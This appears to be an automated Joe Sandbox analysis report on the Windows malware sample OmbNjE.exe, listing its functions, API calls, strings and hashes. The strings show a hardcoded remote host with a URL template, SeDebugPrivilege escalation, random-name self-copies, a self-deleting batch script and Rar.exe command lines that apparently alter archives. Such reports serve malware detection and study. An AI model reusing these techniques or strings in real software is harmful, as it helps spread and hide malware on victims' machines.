Opcode ID: 238a1750ca2d43466c6fd8e96d65d0090027a29fc4690d4ab907ef86db6bc712
Instruction ID: ddae970f1dcae958dedc915768831cd70c48953a8402410ecf5198a1f8ff4e01
Opcode Fuzzy Hash: 238a1750ca2d43466c6fd8e96d65d0090027a29fc4690d4ab907ef86db6bc712
Instruction Fuzzy Hash: 2F01DF71B012247AEF50EBA4EC2AEAF7EACEF11B64F004121B514D61C1D6A0EA04E3E1

Function 00F914E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00F91504
VirtualQuery.KERNEL32(00F914E1,?,0000001C), ref: 00F91525
ExitProcess.KERNEL32 ref: 00F9157A

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: 55706d83c26bd4d337b739b407c3a20d6ab361260171946328be282c3537c528
Instruction ID: affecc9755f00adda6570ef76f15f6e803ebd8e01f770a188405a44ea68f6561
Opcode Fuzzy Hash: 55706d83c26bd4d337b739b407c3a20d6ab361260171946328be282c3537c528
Instruction Fuzzy Hash: EF115A79D0020ADFEF25DFA5AC84A7977A8FB94764B16403BF402D2350D334AA42BB50

Function 00F91915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F91933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00F91947

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 87de9c606cbe5ddf040cd6001da6ef86b285eab21d2af234eb978955279027c3
Instruction ID: b50a5ed7729dd7b116bf501bc766a81c586b19ae7728b8f82bfaaa80601704d4
Opcode Fuzzy Hash: 87de9c606cbe5ddf040cd6001da6ef86b285eab21d2af234eb978955279027c3
Instruction Fuzzy Hash: F4F0443260020AABEF209E26DC04BA777ACBB503A5F008536F516D10A0E730D645EBA0

Function 00F96158 Relevance: 2.6, APIs: 2, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00F960DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00F96189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00F961A5

Memory Dump Source

Source File: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: 3ee8c7d35d5e56ecfe274ef1b1ede9a8defbff4eeefbebefad328894a69d8b7c
Instruction ID: 674f704f61d6059ffbba41d709832fb2c76f591176d351c18ef82b59cc148352
Opcode Fuzzy Hash: 3ee8c7d35d5e56ecfe274ef1b1ede9a8defbff4eeefbebefad328894a69d8b7c
Instruction Fuzzy Hash: 9E11BF32A00689CFDF318F58CC917DD37A1FF01710F694019DE899F291DA712984DB94

Non-executed Functions

Function 00F9119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\OmbNjE.exe,?,?,?,?,?,?,00F913EF), ref: 00F911AB
OpenProcessToken.ADVAPI32(00000000,00000028,00F913EF,?,?,?,?,?,?,00F913EF), ref: 00F911BB
AdjustTokenPrivileges.ADVAPI32(00F913EF,00000000,?,00000010,00000000,00000000), ref: 00F911EB
CloseHandle.KERNEL32(00F913EF), ref: 00F911FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00F913EF), ref: 00F91203

Strings

C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F911A5

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\OmbNjE.exe
API String ID: 75692138-3226802260
Opcode ID: 93205fa3564536b4fd3b2c340b78eabb879c5a3f0b521a779d5f0492ab128ab7
Instruction ID: 84c45ac339d7a56c7c6012ddb51a1c818cf26309de2a6ac16b071299bb31ba7c
Opcode Fuzzy Hash: 93205fa3564536b4fd3b2c340b78eabb879c5a3f0b521a779d5f0492ab128ab7
Instruction Fuzzy Hash: 4F01967590020DEFDB00DFD5D989AAEBBB9FB04309F10456AE605A2261D7715E44AF50

Function 00F9139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F913BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00F913DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00F91448

Part of subcall function 00F9119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\OmbNjE.exe,?,?,?,?,?,?,00F913EF), ref: 00F911AB
Part of subcall function 00F9119F: OpenProcessToken.ADVAPI32(00000000,00000028,00F913EF,?,?,?,?,?,?,00F913EF), ref: 00F911BB
Part of subcall function 00F9119F: AdjustTokenPrivileges.ADVAPI32(00F913EF,00000000,?,00000010,00000000,00000000), ref: 00F911EB
Part of subcall function 00F9119F: CloseHandle.KERNEL32(00F913EF), ref: 00F911FA
Part of subcall function 00F9119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,00F913EF), ref: 00F91203

Strings

SeDebugPrivilege, xrefs: 00F913D3
C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F913A8

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\OmbNjE.exe$SeDebugPrivilege
API String ID: 4123949106-128275785
Opcode ID: 6f710882e49583d18a15fb8e3872e82dc215f2d7c8c2230081cdaf7b895c708a
Instruction ID: 220acf8f3e904f091364f39708cb6dd415577731165ada3b726def2c86f47a63
Opcode Fuzzy Hash: 6f710882e49583d18a15fb8e3872e82dc215f2d7c8c2230081cdaf7b895c708a
Instruction Fuzzy Hash: CF313F75D0020EAAFF20DBA68C45FEEBBB8FB49714F20417AE505B2141D674AE45EB60

Function 00F9239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00F923CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00F92464
GetFileSize.KERNEL32(00000000,00000000), ref: 00F92472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 00F924A8
memset.MSVCRT ref: 00F924B9
strrchr.MSVCRT ref: 00F924C9
wsprintfA.USER32 ref: 00F924DE
strrchr.MSVCRT ref: 00F924ED
memset.MSVCRT ref: 00F924F2
memset.MSVCRT ref: 00F92505
wsprintfA.USER32 ref: 00F92524
Sleep.KERNEL32(000007D0), ref: 00F92535
Sleep.KERNEL32(000007D0), ref: 00F9255D
memset.MSVCRT ref: 00F9256E
wsprintfA.USER32 ref: 00F92585
memset.MSVCRT ref: 00F925A6
wsprintfA.USER32 ref: 00F925CA
Sleep.KERNEL32(000007D0), ref: 00F925D0
Sleep.KERNEL32(000007D0,?,?), ref: 00F925E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00F925FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00F92611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00F92642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 00F9265B
SetEndOfFile.KERNEL32 ref: 00F9266D
CloseHandle.KERNEL32(00000000), ref: 00F92676
RemoveDirectoryA.KERNEL32(?), ref: 00F92681

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F923B1, 00F923B6, 00F924CD
%s%s, xrefs: 00F924D8
-ibck, xrefs: 00F925BA
%s\, xrefs: 00F9257F
%s X -ibck "%s" "%s\", xrefs: 00F9251E
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 00F925C4

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-774930870
Opcode ID: 9af67b275404abef15cfeb4001422615c0d01869063e079bc940efb29f37e1d1
Instruction ID: 969c3b19f572855628ffd934abfebfaaf72e02add91d77e8f4cdd4e860857ad6
Opcode Fuzzy Hash: 9af67b275404abef15cfeb4001422615c0d01869063e079bc940efb29f37e1d1
Instruction Fuzzy Hash: D88180B1504348BBEB10DF64DC89FAB77ACFB88718F00051AF644D21A0D775DA49EB66

Function 00F9274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00F92766
memset.MSVCRT ref: 00F92774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00F92787
wsprintfA.USER32 ref: 00F927AB

Part of subcall function 00F9185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76938400,http://%s:%d/%s/%s,?,?,?,00F91118), ref: 00F91867
Part of subcall function 00F9185B: srand.MSVCRT ref: 00F91878
Part of subcall function 00F9185B: rand.MSVCRT ref: 00F91880
Part of subcall function 00F9185B: srand.MSVCRT ref: 00F91890
Part of subcall function 00F9185B: rand.MSVCRT ref: 00F91894

wsprintfA.USER32 ref: 00F927C6
CopyFileA.KERNEL32(?,00F94C80,00000000), ref: 00F927D4
wsprintfA.USER32 ref: 00F927F4

Part of subcall function 00F91973: PathFileExistsA.SHLWAPI(00F94E5C,00000000,C:\Users\user\AppData\Local\Temp\OmbNjE.exe), ref: 00F91992
Part of subcall function 00F91973: CreateFileA.KERNEL32(00F94E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00F919BA
Part of subcall function 00F91973: Sleep.KERNEL32(00000064), ref: 00F919C6
Part of subcall function 00F91973: wsprintfA.USER32 ref: 00F919EC
Part of subcall function 00F91973: CopyFileA.KERNEL32(00F94E5C,?,00000000), ref: 00F91A00
Part of subcall function 00F91973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F91A1E
Part of subcall function 00F91973: GetFileSize.KERNEL32(00F94E5C,00000000), ref: 00F91A2C
Part of subcall function 00F91973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00F91A46
Part of subcall function 00F91973: ReadFile.KERNEL32(00F94E5C,00F94E60,00000000,?,00000000), ref: 00F91A65

DeleteFileA.KERNEL32(?,?,00F94E54,00F94E58), ref: 00F9281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00F94E54,00F94E58), ref: 00F92832

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F927B6
%s%s, xrefs: 00F927A5
\WinRAR\Rar.exe, xrefs: 00F92793
C:\Windows\system32, xrefs: 00F927E3
%s%.8x.exe, xrefs: 00F927BB
%s\%s, xrefs: 00F927EE
c_31892.nls, xrefs: 00F927DE

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3099098879
Opcode ID: 831e2ecd9e344c58171a2cd18604cdc171996e356b61854c3a7bdb7bf16d2421
Instruction ID: 115db11893c12fdb38c0e4a1e7a8ef755fcf3358a3d5d7081014aa38a4ac59b3
Opcode Fuzzy Hash: 831e2ecd9e344c58171a2cd18604cdc171996e356b61854c3a7bdb7bf16d2421
Instruction Fuzzy Hash: 9C21ABB6D4021C7BFF10E7A49C89FDB736CEB14758F0005A2B644E2051E674EF449A71

Function 00F91581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F9185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76938400,http://%s:%d/%s/%s,?,?,?,00F91118), ref: 00F91867
Part of subcall function 00F9185B: srand.MSVCRT ref: 00F91878
Part of subcall function 00F9185B: rand.MSVCRT ref: 00F91880
Part of subcall function 00F9185B: srand.MSVCRT ref: 00F91890
Part of subcall function 00F9185B: rand.MSVCRT ref: 00F91894

wsprintfA.USER32 ref: 00F915AA
wsprintfA.USER32 ref: 00F915C6
lstrlen.KERNEL32(?), ref: 00F915D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 00F915EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00F91609
CloseHandle.KERNEL32(00000000), ref: 00F91612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00F9162D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00F91599
open, xrefs: 00F91627
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 00F915C0
%s%.8x.bat, xrefs: 00F915A4
C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F9158A, 00F915B3, 00F915B8, 00F915B9

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\OmbNjE.exe$open
API String ID: 617340118-2447837190
Opcode ID: 86ac349b900e840823850a13a9b08819c8602fd6665e58ca4b9b3d8007ee9100
Instruction ID: 2fe31762e1446c5a8041c3d8036b847c2e6a71700bc38fdc8421ea78971eebf4
Opcode Fuzzy Hash: 86ac349b900e840823850a13a9b08819c8602fd6665e58ca4b9b3d8007ee9100
Instruction Fuzzy Hash: 2111A372E0112C7BEB2097A59C89DEB7B7CEF59324F000062F549E2050EA709FC59BB1

Function 00F9120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00F91400), ref: 00F91226
GetProcAddress.KERNEL32(00000000), ref: 00F9122D
GetCurrentProcessId.KERNEL32(?,?,?,?,00F91400), ref: 00F9123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00F91400), ref: 00F91250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\OmbNjE.exe,?,?,?,?,00F91400), ref: 00F9129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\OmbNjE.exe,?,?,?,?,00F91400), ref: 00F912B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\OmbNjE.exe,?,?,?,?,00F91400), ref: 00F912F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00F91400), ref: 00F9130A

Strings

ntdll.dll, xrefs: 00F91219
ZwQuerySystemInformation, xrefs: 00F91212
C:\Users\user\AppData\Local\Temp\OmbNjE.exe, xrefs: 00F91262

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\OmbNjE.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-3490003674
Opcode ID: a53a3714fbad1c8a2dd64e24e53eef222e9704852afe1f0266b3cc488e634733
Instruction ID: ed823a5079e5ec52c0ab9f0970ddc76078518cc8b9ff657e10dea478076f6837
Opcode Fuzzy Hash: a53a3714fbad1c8a2dd64e24e53eef222e9704852afe1f0266b3cc488e634733
Instruction Fuzzy Hash: 1221F831A05316BBFB20AF65CC08F6BBBA8FB85B14F400929F546D7250C770DA44E7A5

Function 00F9185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76938400,http://%s:%d/%s/%s,?,?,?,00F91118), ref: 00F91867
srand.MSVCRT ref: 00F91878
rand.MSVCRT ref: 00F91880
srand.MSVCRT ref: 00F91890
rand.MSVCRT ref: 00F91894

Strings

http://%s:%d/%s/%s, xrefs: 00F91860
ddos.dnsnb8.net, xrefs: 00F91862

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 4106363736-3273462101
Opcode ID: 2201843bb561fd78a0d81e93b4454dc9c298073ffd905c708381d04613128e89
Instruction ID: 17f2f23e8bd9b48b41811d23fe90e06da4dec9bd320327d457b84d5760a7952f
Opcode Fuzzy Hash: 2201843bb561fd78a0d81e93b4454dc9c298073ffd905c708381d04613128e89
Instruction Fuzzy Hash: F9E0D877A0421CBBD700A7FAEC4689EBBACDE84165B100527F600D3260E570FD448AB4

Function 00F92692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,7622E800,?,?,00F929DB,?,00000001), ref: 00F926A7
WaitForSingleObject.KERNEL32(00000000,000000FF,7622E800,?,?,00F929DB,?,00000001), ref: 00F926B5
lstrlen.KERNEL32(?), ref: 00F926C4
??2@YAPAXI@Z.MSVCRT ref: 00F926CE
lstrcpy.KERNEL32(00000004,?), ref: 00F926E3
lstrcpy.KERNEL32(?,00000004), ref: 00F9271F
??3@YAXPAX@Z.MSVCRT ref: 00F9272D
SetEvent.KERNEL32 ref: 00F9273C

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 8ed1dff1d8c5a43b85754d819f111bc481d93d93af97fd622852181f865acc3a
Instruction ID: fa33fc5efe8565c9659af66bd82d0ee654fdf5b1c9452c15a8847a90a426d7d5
Opcode Fuzzy Hash: 8ed1dff1d8c5a43b85754d819f111bc481d93d93af97fd622852181f865acc3a
Instruction Fuzzy Hash: 52115E76900118FFDBB1AF55EC48C5A7BA9FB947617144017F454D7120D730AD86FB60

Function 00F91B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00F91BCD
rand.MSVCRT ref: 00F91BD8
memset.MSVCRT ref: 00F91C43
memcpy.MSVCRT ref: 00F91C4F
lstrcat.KERNEL32(?,.exe), ref: 00F91C5D

Strings

loJLwizcuXjHshVjTUkEtOZvqMQjwmGQdCxUImFipNDPzRRrdXDvoVfbDOTHtnHGcLefCJnApWZgwWmSFFifabyPMAJdUPkasKShObVguxocWeEuletpYIvRrYTqKNaxGkgXKBAzQLYnrsZCSyBlMEhNyIqB, xrefs: 00F91B8A, 00F91B9C, 00F91C15, 00F91C49
.exe, xrefs: 00F91C57

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$loJLwizcuXjHshVjTUkEtOZvqMQjwmGQdCxUImFipNDPzRRrdXDvoVfbDOTHtnHGcLefCJnApWZgwWmSFFifabyPMAJdUPkasKShObVguxocWeEuletpYIvRrYTqKNaxGkgXKBAzQLYnrsZCSyBlMEhNyIqB
API String ID: 122620767-55715499
Opcode ID: 5936884311382bebbba5a34678d8911fe1019c5bffbb2a8512a453f6ed49908b
Instruction ID: 8b340921a78d89ca86656a1ade11ccb1aab113ab8a54b53fbe5b9866dd0578cc
Opcode Fuzzy Hash: 5936884311382bebbba5a34678d8911fe1019c5bffbb2a8512a453f6ed49908b
Instruction Fuzzy Hash: 5D218B26E442916EFB6613356C41FAD3F45AFF3731F1500BBF4850B1A2D1681A87B270

Function 00F9189D Relevance: 9.1, APIs: 6, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00F918B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,76230F00,76938400), ref: 00F918D3
CloseHandle.KERNEL32(00F92549), ref: 00F918E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F918F0
GetExitCodeProcess.KERNEL32(?,00F92549), ref: 00F91901
CloseHandle.KERNEL32(?), ref: 00F9190A

Memory Dump Source

Source File: 00000001.00000002.2174987700.0000000000F91000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000001.00000002.2174965922.0000000000F90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175041694.0000000000F94000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2175067388.0000000000F96000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f90000_OmbNjE.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID:
API String ID: 876959470-0
Opcode ID: 7759c4e6764a78799e7d9438740f18268a5f8e5c11ec566e174f222c36c5a8c3
Instruction ID: 835db48725ee77e22b66dc3b088c3b833cd7dd804a2a7ef3c3ae2b99b9466519
Opcode Fuzzy Hash: 7759c4e6764a78799e7d9438740f18268a5f8e5c11ec566e174f222c36c5a8c3
Instruction Fuzzy Hash: 6C017C7290112CBBDF21AB96DC49DDFBF3DFF85734F104022FA15A51A0D6318A18DAA0

Function 00F91319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00F91334
GetProcAddress.KERNEL32(00000000), ref: 00F9133B
memset.MSVCRT ref: 00F91359

Strings

ntdll.dll, xrefs: 00F9132F
NtSystemDebugControl, xrefs: 00F9132A

